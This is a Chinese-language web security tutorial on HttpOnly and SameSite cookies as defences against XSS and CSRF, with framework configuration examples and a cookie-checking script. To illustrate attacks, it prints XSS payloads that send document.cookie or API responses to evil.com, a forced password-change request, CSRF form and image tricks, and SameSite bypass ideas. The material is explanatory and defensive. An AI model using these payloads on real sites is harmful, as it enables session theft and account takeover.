HttpOnly + SameSite Cookie 实战:XSS 和 CSRF 的最后一道防线

一、先看一个"反常识"的事实

当你的网站存在 XSS 漏洞时:

你做了什么 攻击者能窃取 Cookie 值吗
❌ 什么都没做 ✅ 能。document.cookie 直接读到所有 Cookie
✅ 设了 HttpOnly ❌ 不能。document.cookie 返回空字符串
✅ 设了 SameSite ⚠️ 不能完全阻止 Cookie 发送(见下文)
✅ HttpOnly + SameSite 🛡️ 大幅提升防御深度

这两个属性是缓解 XSS 危害最有效的手段之一。但很多开发者对它们一知半解,本文系统讲解。


二、浏览器 Cookie 基础

2.1 Cookie 的类型

Set-Cookie: session_id=abc123; Domain=victim.com; Path=/; HttpOnly; Secure; SameSite=Lax

一个 Cookie 可以带的属性:

属性 作用 是否安全相关
Domain 决定哪些域名能收到这个 Cookie 是(不要设过宽)
Path 决定哪些 URL 路径能收到
Expires / Max-Age 过期时间
Secure 只在 HTTPS 下发送
HttpOnly JS 无法通过 document.cookie 读取 核心
SameSite 跨站请求时是否携带 Cookie 核心
Priority Cookie 优先级(Chroma 新特性) 轻微
Partitioned 分区 Cookie(隐私沙箱) 未来趋势

2.2 浏览器发送 Cookie 的规则

每次浏览器向服务器发请求时,会自动把符合条件的 Cookie 放到 HTTP 请求头:

GET /api/profile HTTP/1.1
Host: victim.com
Cookie: session_id=abc123; cart=item1
User-Agent: Mozilla/5.0 ...

服务器不会收到 HttpOnly 这个"标记",HttpOnly 只是浏览器层面告诉 JavaScript:"你不许读这个 Cookie"。浏览器自己发请求时依然会带上它。


三、HttpOnly 深度解析

3.1 原理

HttpOnly Cookie 的核心规则:

浏览器发请求时正常携带;JavaScript 的 document.cookie 接口看不到它。

// 如果 session_id 设了 HttpOnly
console.log(document.cookie);  // 输出 "cart=item1" —— 没有 session_id
// 但 fetch('https://victim.com/api/profile') 依然会自动带上 session_id

3.2 为什么能缓解 XSS

回到之前的存储型 XSS 场景:

如果没有 HttpOnly:

// 攻击者注入的 Payload
fetch('https://evil.com/steal?c=' + document.cookie);
// document.cookie = "session_id=abc123; user_role=admin"
// 攻击者完整拿到会话令牌 → 直接接管

如果设了 HttpOnly:

// 攻击者注入的 Payload
fetch('https://evil.com/steal?c=' + document.cookie);
// document.cookie = "" (空!)
// 攻击者拿不到 Cookie 值

3.3 HttpOnly ≠ 100% 安全

虽然攻击者读不到 Cookie 值,但浏览器发请求时依然会自动带上——这就引出了另一个攻击向量:

利用浏览器自动携带做 CSRF / 带 Cookie 的 XHR

// 攻击者通过 XSS 在受害者浏览器中执行
// 即使没有 Cookie 值,也能"借用"受害者的登录态发请求
fetch('https://victim.com/api/settings/change-password', {
    method: 'POST',
    credentials: 'include',   // 带上 Cookie(包括 HttpOnly 的!)
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
        new_password: 'hacked123'
    })
});
// 服务器会把这当成"受害者本人"发起的请求,执行改密

这就是为什么 HttpOnly 只是第一道防线,SameSite 和 CSRF Token 是第二道防线。

3.4 后端配置 HttpOnly

Node.js (Express + Cookie-parser)

const express = require('express');
const cookieParser = require('cookie-parser');

const app = express();
app.use(cookieParser());

// 方案 A:用 cookie-parser 的 res.cookie()
app.post('/login', (req, res) => {
    const sessionId = generateRandomToken();
    res.cookie('session_id', sessionId, {
        httpOnly: true,      // ✅ JS 不可读
        secure: true,        // ✅ 只 HTTPS 下发送
        sameSite: 'lax',     // ✅ 跨站不发
        path: '/',           // 全站路径有效
        maxAge: 7 * 24 * 60 * 60 * 1000,  // 7 天
        domain: 'victim.com',
        signed: true         // 防篡改(cookie-parser 内置签名)
    });
    res.json({ success: true });
});

// 方案 B:Session 中间件(connect-session + redis-store)
const session = require('express-session');
app.use(session({
    secret: process.env.SESSION_SECRET,
    store: new RedisStore({ client: redisClient }),
    resave: false,
    saveUninitialized: false,
    cookie: {
        httpOnly: true,
        secure: true,
        sameSite: 'lax',
        maxAge: 7 * 24 * 60 * 60 * 1000
    }
}));

PHP

<?php
// 设置单个 Cookie
session_set_cookie_params([
    'lifetime' => 7 * 24 * 60 * 60,
    'path'     => '/',
    'domain'   => 'victim.com',
    'secure'   => true,
    'httponly' => true,
    'samesite' => 'Lax'  // PHP 7.3+ 支持
]);
session_start();

// 或手动 setcookie
setcookie('session_id', $sessionId, [
    'expires'  => time() + 86400 * 7,
    'path'     => '/',
    'domain'   => '.victim.com',
    'secure'   => true,
    'httponly' => true,
    'samesite' => 'Lax'
]);
?>

Python (Flask)

from flask import Flask, make_response, session

app = Flask(__name__)
app.secret_key = 'your-secret-key'

# Flask session cookie 默认就有 HttpOnly,但 Secure 和 SameSite 需手动加
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE']   = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['PERMANENT_SESSION_LIFETIME'] = 7 * 24 * 60 * 60

# 手动设置
@app.route('/login')
def login():
    resp = make_response('ok')
    resp.set_cookie(
        'session_id',
        session_id,
        httponly=True,
        secure=True,
        samesite='Lax',
        max_age=86400 * 7,
        path='/',
        domain='.victim.com'
    )
    return resp

手动 Set-Cookie 响应头

Set-Cookie: session_id=abc123; Domain=.victim.com; Path=/; Expires=Wed, 13 Aug 2026 12:00:00 GMT; HttpOnly; Secure; SameSite=Lax

3.5 如何验证 HttpOnly 生效

方法 A:Chrome DevTools

  1. 打开 Victim.com 登录
  2. DevTools → ApplicationStorageCookies
  3. 查看右侧表格的 HttpOnly 列,应该显示 ✅ 勾

方法 B:Console 检查

// Console 里输入:
document.cookie
// 如果返回空字符串或不包含 session_id → 说明 HttpOnly 生效
// (注意:Secure Cookie 在 HTTP 页面上也看不到,但这是 Secure 的效果)

方法 C:curl 看响应头

curl -I https://victim.com/api/login   -X POST -d 'username=test&password=test'
# 响应头中应看到:
# Set-Cookie: session_id=xxx; HttpOnly; Secure; SameSite=Lax

四、SameSite 深度解析

4.1 核心问题:什么是"跨站"

浏览器判断跨站的标准是:

站点 = 协议 + 主域名(eTLD+1)

URL A URL B 同站? 原因
https://victim.com https://victim.com/login ✅ 同站 完全相同
https://victim.com https://api.victim.com ✅ 同站 主域 victim.com 相同
https://victim.com https://victim.com:8080 ✅ 同站 端口不算在"站"里(但算在"同源"里)
https://victim.com https://attacker.com ❌ 跨站 主域不同
https://victim.github.io https://other.github.io ❌ 跨站 github.io 是公共后缀,主域是 sub.github.io

4.2 SameSite 三个取值

行为 推荐
Strict 任何跨站请求都不携带 Cookie 🔒 最严格,部分功能会受影响
Lax 顶级导航 GET 请求(如用户点击链接跳转)才携带 Cookie 推荐默认值
None 任何请求都携带(必须同时设 Secure) ⚠️ 仅跨站认证场景用

直观理解

假设 Cookie: session_id=abc SameSite=Lax

场景 1:用户点击 https://evil.com 上的链接跳转到 victim.com
→ 会携带 session_id(顶级导航 GET ✅ Lax 允许)

场景 2:evil.com 用 <iframe src="https://victim.com/page">
→ 不会携带 session_id(iframe 是嵌入加载 ❌ Lax 拒绝)

场景 3:evil.com 的 JS 发起 fetch('https://victim.com/api')
→ 不会携带 session_id(XHR/fetch ❌ Lax 拒绝)

场景 4:victim.com 页面内 fetch('/api/other')
→ 会携带 session_id(同站 ✅)

4.3 SameSite 与 CSRF 的关系

经典 CSRF 攻击场景:

<!-- evil.com 上的页面 -->
<form action="https://victim.com/api/transfer-money" method="POST">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="1000">
    <input type="submit" value="点击抽奖">
</form>
<!-- 或 -->
<img src="https://victim.com/api/transfer-money?to=attacker&amount=1000">

如果 Cookie 设了 SameSite=Lax:

攻击方式 是否携带 Cookie CSRF 成功?
受害者点表单 submit → POST ❌ 不携带 ❌ 失败
<img src> 发 GET ❌ 不携带 ❌ 失败
<a href> 点链接 → 顶级导航 GET ✅ 携带 ⚠️ 可能成功
用 fetch/XHR ❌ 不携带 ❌ 失败

SameSite=Lax 挡住了绝大多数经典 CSRF 场景。SameSite=Strict 还能挡住顶级导航 GET。

4.4 SameSite=None 的坑

如果你需要跨站携带 Cookie(比如 SSO 单点登录、嵌入第三方应用),必须设:

Set-Cookie: session_id=xxx; SameSite=None; Secure; HttpOnly

注意:现代浏览器(Chrome 80+、Firefox 75+)强制要求:SameSite=None 必须同时带 Secure,否则浏览器会把它当作 Lax,让你以为跨站 Cookie 发送成功了但其实被静默拦截。

4.5 实战中 SameSite 的选择

场景 推荐值
普通业务 Cookie(会话 Token) LaxStrict
登录后重定向依赖 Cookie LaxStrict 会挡掉登录后回跳)
SSO 跨站认证 None; Secure
API 用 Token 认证(非 Cookie) 可以不依赖 SameSite

五、HttpOnly + SameSite 的组合拳与局限

5.1 不同组合的防御效果

配置 XSS 窃取 Cookie 值 攻击者用 Cookie 发请求 CSRF
什么都没设 ✅ 能 ✅ 能 ✅ 成功
Only HttpOnly ❌ 不能 ✅ 能(浏览器自动带) ✅ 成功
Only SameSite=Lax ✅ 能 ✅ 能(跨站 fetch 不行) ⚠️ 部分失败
HttpOnly + SameSite=Lax ❌ 不能 ❌ 跨站不行;✅ 同站可以 ❌ 基本失败
HttpOnly + SameSite=Strict ❌ 不能 ❌ 跨站不行;✅ 同站可以 ❌ 彻底失败

5.2 绕过 HttpOnly 的思路

思路 1:XSS + fetch 跨域(不需要读 Cookie)

// 攻击者通过 XSS 在 victim.com 页面执行
// 即使拿不到 HttpOnly Cookie 的值,fetch 依然会自动带上它
fetch('https://victim.com/api/account', {
    credentials: 'same-origin'
}).then(r => r.json())
  .then(data => {
      // 把 API 响应发给攻击者
      fetch('https://evil.com/collect', {
          method: 'POST',
          body: JSON.stringify(data)
      });
  });
// 这就是"不窃取 Cookie 值,直接用受害者身份做事"
// SameSite=Lax 对同站 fetch 不拦截,所以挡不住这种攻击

防御:API 层还要加 CSRF Token,且敏感操作要二次验证。

思路 2:利用服务器响应 Set-Cookie 端点

攻击者让服务器设置一个"可控"的 Cookie(比如让它把攻击者的输入作为 Cookie 值),然后再用非 HttpOnly Cookie 发起攻击。

思路 3:本地设备访问

如果攻击者能访问受害者的设备(病毒、浏览器扩展),可以直接读浏览器的 Cookie 数据库文件(Chrome 使用 LevelDB/SQLite 存储,master key 在系统密钥链里)。

5.3 绕过 SameSite 的思路

思路 1:打开新窗口(顶级导航)

// 通过 XSS 执行
window.open('https://victim.com/api/change-password?new=hacked123');
// 这是顶级导航 GET,SameSite=Lax 会携带 Cookie
// 如果 change-password 端点用 GET 而不是 POST → 被攻击成功

防御:敏感操作端点只接受 POST,并校验 CSRF Token。

思路 2:使用 URL 重定向链

evil.com/redirect?url=https://victim.com/api/transfer...
  ↓
evil.com 302 重定向到 victim.com/api/transfer...
  ↓
浏览器认为这是顶级导航(实际上是重定向链)
  ↓
SameSite=Lax 携带 Cookie

思路 3:使用 WebRTC / fetch keep-alive

某些场景下 fetch 的 keep-alive 会在导航时自动完成,但现代浏览器已修复。


六、完整的 Cookie 安全配置 Checklist

6.1 生产环境必须做到

✅ 所有 Cookie 默认 HttpOnly
✅ 所有 Cookie 默认 Secure
✅ 所有 Cookie 默认 SameSite=Lax 或 Strict
✅ 不要手动删除任何一个属性
✅ Session Cookie 的 Path 设为精确业务路径(不要 / 除非必要)
✅ Domain 不要设为顶级域(除非多子域共享)
✅ Cookie 值签名(防篡改)
✅ Cookie 值使用随机 Token(不是可预测值)
✅ Cookie 值足够长(至少 32 字节随机)

6.2 不要做的事

❌ 不要把 HttpOnly Cookie 设 Domain=.com(过宽)
❌ 不要在 JavaScript 中用 document.cookie 读取敏感 Cookie
❌ 不要把 SameSite=None 和非 Secure Cookie 配对
❌ 不要用 Cookie 直接存敏感数据(存 Session ID 即可)
❌ 不要把 Session Cookie 设成持久 Cookie(除非 remember-me 明确要求)

6.3 常见框架的默认配置

框架 HttpOnly 默认 Secure 默认 SameSite 默认
Express (express-session) ✅ true ❌ false(需手动开) ❌ 未设置
Django (Python) ✅ true ❌ false ❌ 未设置
Rails ✅ true ❌ false ✅ Lax (Rails 6+)
Flask ✅ true ❌ false ❌ 未设置
Spring Boot ✅ true ❌ false ❌ 未设置

→ 几乎所有框架都需要手动开启 Secure。这是 HTTPS 环境下最常见的遗漏之一。

6.4 测试你的 Cookie 配置

自动化测试脚本

# check_cookies.py
import requests
import sys

def check_security_cookies(url):
    resp = requests.get(url, allow_redirects=False)
    set_cookie = resp.headers.get('Set-Cookie', '')
    
    print(f"[*] Target: {url}")
    print(f"[*] Set-Cookie header: {set_cookie}")
    print()

    checks = [
        ('HttpOnly', 'httponly' in set_cookie.lower()),
        ('Secure',   'secure' in set_cookie.lower()),
        ('SameSite', 'samesite' in set_cookie.lower()),
    ]

    for name, ok in checks:
        status = '✅' if ok else '❌'
        print(f"  {status} {name}: {'OK' if ok else 'MISSING'}")

    if 'samesite' in set_cookie.lower():
        if 'samesite=none' in set_cookie.lower() and 'secure' not in set_cookie.lower():
            print("  ⚠️  SameSite=None 但没有 Secure —— 浏览器会降级为 Lax")

    return all(ok for _, ok in checks)

if __name__ == '__main__':
    url = sys.argv[1] if len(sys.argv) > 1 else 'https://localhost:3000/login'
    ok = check_security_cookies(url)
    sys.exit(0 if ok else 1)
python3 check_cookies.py https://victim.com/login
# [*] Target: https://victim.com/login
# [*] Set-Cookie header: session_id=xxx; HttpOnly; Secure; SameSite=Lax
#
#   ✅ HttpOnly: OK
#   ✅ Secure: OK
#   ✅ SameSite: OK

七、小结

HttpOnly 和 SameSite 不是银弹,但它们是XSS 和 CSRF 防御体系中性价比最高的两项配置

  • HttpOnly 让攻击者即使执行了 XSS,也拿不到 Cookie 的值
  • SameSite 让攻击者即使知道 Cookie 的值,也发不出跨站的请求

两者叠加,再配上:

  • 后端 CSP(阻止 XSS payload 执行)
  • CSRF Token(即使同站 fetch 也需要)
  • 操作二次验证(改密、转账等敏感操作)
  • 敏感 API 的 IP 白名单 / 设备指纹

就能把一个"有 XSS 漏洞的应用"的实际危害降到可控水平

记住:安全是分层的。没有哪一层能单独扛住一切攻击,但每一层都要尽量做对。Cookie 安全就是最基础、最容易做对、也是最容易被忽视的那一层。